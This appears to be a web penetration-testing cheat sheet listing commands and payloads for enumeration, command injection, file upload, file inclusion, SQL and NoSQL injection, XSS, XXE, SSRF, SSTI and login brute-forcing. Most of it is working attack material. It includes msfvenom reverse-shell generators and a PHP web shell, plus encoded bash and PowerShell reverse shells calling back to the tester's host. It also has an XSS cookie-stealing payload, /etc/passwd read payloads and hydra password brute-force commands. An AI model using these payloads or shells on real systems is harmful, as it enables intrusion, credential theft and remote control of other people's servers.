- Initial enumeration
- Subdomain discovery
- Path discovery
- General web server scanning
- Specific technology enumeration
- Command injection
- File upload
- File inclusion
- SQL injection
- NoSQL injection
- Cross site scripting (XSS)
- XML external entity (XXE)
- Server-side request forgery (SSRF)
- Server side template injection (SSTI)
- Error-based information disclosure
- Brute-forcing credentials
nmap -vv -p 80,443 -sT --script=+http* <ip> # Other ports may also have an HTTP server running
- Brute forcing (run with any words count first to find the common one):
wfuzz -t 100 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.<domain>" --hw <words_count> --hc 400 -u <url>
- Scan common paths:
feroxbuster -t 50 -L 2 -d 2 -u <url> -w /usr/share/seclists/Discovery/Web-Content/common.txt --extract-links
- Scan common paths with web extensions:
feroxbuster -t 50 -L 2 -d 2 -u <url> -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html,php,htm,asp,aspx,jsp,cgi --extract-links
- Scan more paths with common web extensions:
feroxbuster -t 100 -L 1 -d 1 -u <url> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,htm,asp,aspx,jsp,cgi
- Scan more paths with common file extensions:
feroxbuster -t 100 -L 1 -d 1 -u <url> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x bak,php.bak,php.swp,txt,log,xml,pdf,doc,docs,sh,pl,py,exe,jpeg,jpg,png,zip,tar.gz
nikto -C all -h <url>
- Always update
wpscan
before using:
wpscan --update
- Enumerate common things:
wpscan --url <url> --enumerate vp,vt,tt,cb,dbe,u,m --plugins-detection aggressive --plugins-version-detection aggressive
joomscan -u <url>
droopescan scan drupal -u <url>
- PoC (both Windows and Linux):
whoami
- Blind PoC:
sudo tcpdump ip proto \\icmp -i tun0
ping -c 1 <ip>
ping -n 1 <ip> # Windows
- Test blind command injection by redirecting output to a file that can be opened in the webserver:
whoami > /var/www/static/<filename>
whoami > /var/www/images/<filename>
-
Bypass filters:
- Check if it's a whitelist, or a blacklist filter by passing something like:
jpg_but_bullshit.etrhbdfeqt
. - Use an inner extension:
file.jpg.php
- Add magic numbers: https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5
- Check if it's a whitelist, or a blacklist filter by passing something like:
-
Msfvenom common web reverse shells:
msfvenom -p php/reverse_php LHOST=<ip> LPORT=443 -f raw > shell.php
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=443 -f asp > shell.asp
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=443 -f aspx > shell.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=443 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=443 -f war > shell.war
- Simple PHP reverse shell:
<?php system($_GET['c']); ?>
<website>/<filename>?c=bash+-c+"bash+-i+>%26+/dev/tcp/<ip>/443+0>%261"
<website>/<filename>?c=powershell+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient('<ip>',443)%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()"
- Fuzzing URL params:
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt --basic <username>:<password> -X <http_method> -u <url>?<param>=FUZZ
- Basic PoC:
../../../../../../../../../etc/passwd
../../../../../../../../../etc/passwd%00
....//....//....//....//....//....//....//....//....//etc/passwd
....//....//....//....//....//....//....//....//....//etc/passwd%00
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd%00
- Reading a PHP file instead of executing it:
include("php://filter/convert.base64-encode/resource=<path_to_php_script>");
- Basic PoC:
sudo python3 -m http.server 80
http://<my_ip>/test
http://<my_ip>/test%00
http:%252f%252f<my_ip>%252ftest
http:%252f%252f<my_ip>%252ftest%00
- Bypassing URL prohibition:
data:text/plain,testing
data:text/plain,<?php system($_GET['c']); ?>
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -d 'username=FUZZ&password=anypassword' -u <url>
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt,urlencode --basic <username>:<password> -X <http_method> -u '<url>?<param>=FUZZ'
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt --basic <username>:<password> -X <http_method> -H '<header>: FUZZ' <url>
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt,urlencode --basic <username>:<password> -X <http_method> -b '<cookie_name>=FUZZ' <url>
wget https://raw.githubusercontent.com/payloadbox/sql-injection-payload-list/master/Intruder/exploit/Auth_Bypass.txt
wfuzz -c -z file,./Auth_Bypass.txt -d 'username=FUZZ&password=anypassword' -u <url>
-
Guess database type to enumerate:
-
Concatenate result columns into a single one:
SELECT concat(<column_one>,char(58),<column_two>) FROM <table_name> -- MySQL
SELECT <column_one>||chr(58)||<column_two> FROM <table_name> -- PostgreSQL
SELECT <column_one>+char(58)+<column_two> FROM <table_name> -- MSSQL
SELECT <column_one>||chr(58)||<column_two> FROM <table_name>-- Oracle
- Usecases (select payloads can be used with different SQL injection types or by themselves in these cases):
UPDATE table SET column = ''||(<select_query>) -- MySQL(if PIPES_AS_CONCAT=true)/PostgreSQL/Oracle
UPDATE table SET column = ''+(<select_query>) -- MSSQL
INSERT INTO table (column) VALUES (''||(<select_query>)) -- MySQL(if PIPES_AS_CONCAT=true)/PostgreSQL/Oracle
INSERT INTO table (column) VALUES (''+(<select_query>)) -- MSSQL
- Get column number:
ORDER BY <N>
UNION SELECT NULL,NULL -- MySQL/PostgreSQL/MSSQL
UNION SELECT NULL,NULL FROM DUAL -- Oracle
- Find which column can return a string:
UNION SELECT NULL,char(97) -- MySQL/MSSQL
UNION SELECT NULL,chr(97) -- PostgreSQL
UNION SELECT NULL,chr(97) FROM DUAL -- Oracle
- Get some data:
UNION SELECT NULL,(<select_payload>) -- MySQL/MSSQL/PostgreSQL
UNION SELECT NULL,(<select_payload>) FROM DUAL -- Oracle (if select payload doesn't have FROM statement)
- Usecases:
SELECT column FROM table WHERE another_column = 'wrong_value' <union_select_query> -- SELECT WHERE
SELECT column FROM table GROUP BY column <union_select_query> -- SELECT GROUP BY. You may have to skip original query response in the result set.
SELECT column FROM table GROUP BY column HAVING column = 'wrong_value' <union_select_query> -- SELECT HAVING
SELECT column FROM table WHERE any_column = 'wrong_value' <union_select_query> -- SELECT TABLE NAME
- Proof of concept:
extractvalue(0x00,concat(0x3f,(concat(char(112),char(114),char(111),char(111),char(102))))) -- MySQL
cast(chr(112)||chr(114)||chr(111)||chr(111)||chr(102) AS INTEGER) -- PostgreSQL/Oracle
cast(char(112)+char(114)+char(111)+char(111)+char(102) AS INTEGER) -- MSSQL
- Get some data:
extractvalue(0x00,concat(0x3f,(<select_payload>))) -- MySQL. Output is limited to 31 characters so better use substring(column_name,1,30) in select payloads.
cast((<select_payload>) AS INTEGER) -- PostgreSQL/Oracle/MSSQL
- Usecases:
SELECT column FROM table WHERE another_column = 'any_value' AND <error_expression> -- SELECT WHERE
SELECT column FROM table ORDER BY <error_expression> -- SELECT ORDER BY
SELECT column FROM table GROUP BY <error_expression> -- SELECT GROUP BY
SELECT column FROM table GROUP BY column HAVING column = 'any_value' AND <error_expression> -- SELECT HAVING
SELECT column FROM table WHERE <error_expression> -- SELECT TABLE NAME
UPDATE table SET column = ''||(<error_expression>) -- UPDATE. MySQL(used as 'OR' if PIPES_AS_CONCAT=false)/PostgreSQL/Oracle
UPDATE table SET column = ''+(<error_expression>) -- UPDATE. MSSQL
UPDATE table SET column = 'FALSE' AND <error_expression> -- UPDATE
UPDATE table SET column = 'value' WHERE another_column = 'any_value' AND <error_expression> -- UPDATE WHERE
INSERT INTO table (column) VALUES (''||(<error_expression>)) -- INSERT. MySQL(used as 'OR' if PIPES_AS_CONCAT=false)/PostgreSQL/Oracle
INSERT INTO table (column) VALUES (''+(<error_expression>)) -- INSERT. MSSQL
INSERT INTO table (column) VALUES ('FALSE' AND <error_expression>) -- INSERT
- Proof of concept:
1=0
'1'='0' -- Don't comment the rest of the query, just don't close the last quote to keep everything from an original query.
- Get data length:
length((<select_payload>))>1 -- MySQL/PostgreSQL/Oracle
len((<select_payload))>1 -- MSSQL
- Get data characters one by one:
substring((<select_payload>),1,1) = 'a' -- MySQL/PostgreSQL/MSSQL
substr((<select_payload>),1,1) = 'a' -- Oracle
- Compare to this data set (or
char(32...126)
to bypass filters) using Burp Intruder Brute Forcer:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
- Usecases (conditional payloads can be used in different conditional SQL injection types or by themselves in these cases):
SELECT column FROM table WHERE another_column = 'correct_value' AND <conditional_payload> -- SELECT WHERE
SELECT column FROM table WHERE <conditional_payload> -- SELECT TABLE NAME
SELECT column FROM table GROUP BY column HAVING column = 'any_value' AND <conditional_payload> -- SELECT HAVING
UPDATE table SET column = 'value' WHERE another_column = 'any_value' AND <conditional_payload> -- UPDATE WHERE
- In
SELECT ORDER BY
andSELECT GROUP BY
locations conditional payloads can be used to change ordering/grouping:
(if((<conditional_payload>), <column_name1>, <column_name2>)) -- MySQL
(CASE WHEN(<conditional_payload>) THEN <column_name1> ELSE <column_name2> END) -- PostgreSQL/MSSQL/Oracle
- Get some data:
(if((<conditional_payload>),(SELECT table_name FROM information_schema.tables),TRUE)) -- MySQL. Multiple return value error.
(CASE WHEN(<conditional_payload>) THEN cast(1/0 as VARCHAR) ELSE chr(97) END)=chr(97) -- PostgreSQL
(CASE WHEN(<conditional_payload>) THEN cast(1/0 as VARCHAR) ELSE char(97) END)=char(97) -- MSSQL
(CASE WHEN(<conditional_payload>) THEN to_char(1/0) ELSE chr(97) END)=chr(97) -- Oracle
- Usecases:
SELECT column FROM table WHERE another_column = 'correct_value' AND <conditional_error> -- SELECT WHERE
SELECT column FROM table WHERE <conditional_error> -- SELECT TABLE NAME
SELECT column FROM table GROUP BY column HAVING column = 'any_value' AND <conditional_error> -- SELECT HAVING
UPDATE table SET column = 'value' WHERE another_column = 'any_value' AND <conditional_error> -- UPDATE WHERE
- Get some data (returns true regardless of conditions, but sleeps on every row, so consider limiting the result set):
IF((<conditional_payload>), sleep(5), sleep(0))=sleep(0) -- MySQL
(CASE WHEN(<conditional_payload>) THEN chr(97)||pg_sleep(5) ELSE chr(97) END)=chr(97) -- PostgreSQL
- Locations:
SELECT column FROM table WHERE another_column = 'correct_value' AND <conditional_sleep> -- SELECT WHERE
SELECT column FROM table WHERE <conditional_sleep> -- SELECT TABLE NAME
SELECT column FROM table GROUP BY column HAVING column = 'any_value' AND <conditional_sleep> -- SELECT HAVING
UPDATE table SET column = 'value' WHERE another_column = 'any_value' AND <conditional_sleep> -- UPDATE WHERE
- Get some data (can be used as batch queries only):
; SELECT IF((<conditional_payload>),sleep(5),sleep(0)) -- MySQL. Only a couple of PHP and Python APIs support this.
; IF (<conditional_payload>) WAITFOR DELAY '0:0:5' -- MSSQL. Time cannot be replaced with chars.
; SELECT CASE WHEN (<conditional_payload>) THEN pg_sleep(5) ELSE pg_sleep(0) END -- PostgreSQL
wget https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/NoSQL%20Injection/Intruder/NoSQL.txt
wfuzz -c -w ./NoSQL.txt -d 'username=FUZZ&password=anypassword' -u <url>
- Form data:
username[$ne]=wrongdata&password[$ne]=wrongdata
username[$regex]=a.*&password[$ne]=wrongdata
username[$gt]=admin&password[$ne]=wrongdata
- Json:
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "wrongdata"}, "password": {"$ne": "wrongdata"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
- Form data:
echo 'a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! " # \$ % %26 '"'"' \( \) \* \+ , - \. / : ; < = > \? @ \[ \\\\ \] \^ _ ` \{ \| \} ~' > nosqli_regex.txt # Regex special characters are escaped
sed 's/\s\+/\n/g' -i nosqli_regex.txt
wfuzz -c -z file,./nosqli_regex.txt -d 'username[$regex]=^FUZZ.*&password[$ne]=wrongdata' -u <url>
wfuzz -c -z file,./nosqli_regex.txt -d 'username=<username>&password[$regex]=^FUZZ.*' -u <url>
- Json:
echo 'a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! " # \$ % & '"'"' \( \) \* \+ , - \. / : ; < = > \? @ \[ \\\\ \] \^ _ ` \{ \| \} ~' > nosqli_regex.txt # Regex special characters are escaped
sed 's/\s\+/\n/g' -i nosqli_regex.txt
wfuzz -c -z file,./nosqli_regex.txt -d '{"username": {"$regex": "^FUZZ.*"}, "password": {"$ne": null}}' -u <url>
wfuzz -c -z file,./nosqli_regex.txt -d '{"username": "<username>", "password": {"$regex": "^FUZZ.*"}}' -u <url>
- PoC:
<script>alert(1)</script>
- Blind PoC:
python3 -m http.server 8888
<script src=http://<my_ip>:8888></script>
- Cookie stealing:
<script>document.write('<img src="<my_up>?c='+document.cookie+'" />');</script>
- Payloads and cheatsheets:
- PoC:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe "Vulnerable!!!"> ]>
<someTag>
<someOtherTag>&xxe;</someOtherTag>
</someTag>
- Blind PoC:
sudo nc -lvnp 443
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<ip>:443"> ]>
<someTag>
<someOtherTag>&xxe;</someOtherTag>
</someTag>
- A simple payload to perform LFI attack:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<someTag>
<someOtherTag>&xxe;</someOtherTag>
</someTag>
- A simple payload to perform LFI attack using php filters:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<someTag>
<someOtherTag>&xxe;</someOtherTag>
</someTag>
- A simple payload to perform SSRF attack:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1"> ]>
<someTag>
<someOtherTag>&xxe;</someOtherTag>
</someTag>
- Payloads:
- A simple payload:
http://127.0.0.1:<port>/<path>
- An advanced payload (using ipv6 or decimal value to bypass filters):
http://[::]:<port>/<path>
http://:::<port>/<path>
http://2130706433:<port>/<path>
- Read a local file:
file://<file_path>
- Common PoC:
{{1+1}}
${1+1}
- Fuzzing:
wget https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Template%20Injection/Intruder/ssti.fuzz
wfuzz -c -w ./ssti.fuzz -d "<someparam>=FUZZ" -u <url>
- Payloads: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- Parameters/paths/headers/cookies fuzzing with some unusual data:
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/bad_chars.txt,urlencode --basic <username>:<password> -X <http_method> -u <url>?<param>=FUZZ
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/bad_chars.txt -d 'someparam=FUZZ' -u <url>
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/bad_chars.txt --basic <username>:<password> -X <http_method> -H "<header>: FUZZ" <url>
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/bad_chars.txt,urlencode --basic <username>:<password> -X <http_method> -b "<cookie_name>=FUZZ" <url>
- Brute-force post form username:
hydra -V -t 64 -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p test -s <port> <ip_or_domain> http-post-form "/<path>:username=^USER^&password=^PASS^:<error_phrase>" # Important: do not put '/' after the <path>
- Brute-force post form password:
hydra -V -t 64 -l <username> -P /usr/share/wordlists/rockyou.txt -s <port> <ip_or_domain> http-post-form "/<path>:username=^USER^&password=^PASS^:<error_phrase>"
- Brute-force basic auth:
hydra -V -t 64 -l <username> -P /usr/share/wordlists/rockyou.txt -s <port> <ip_or_domain> http-get "/<path>"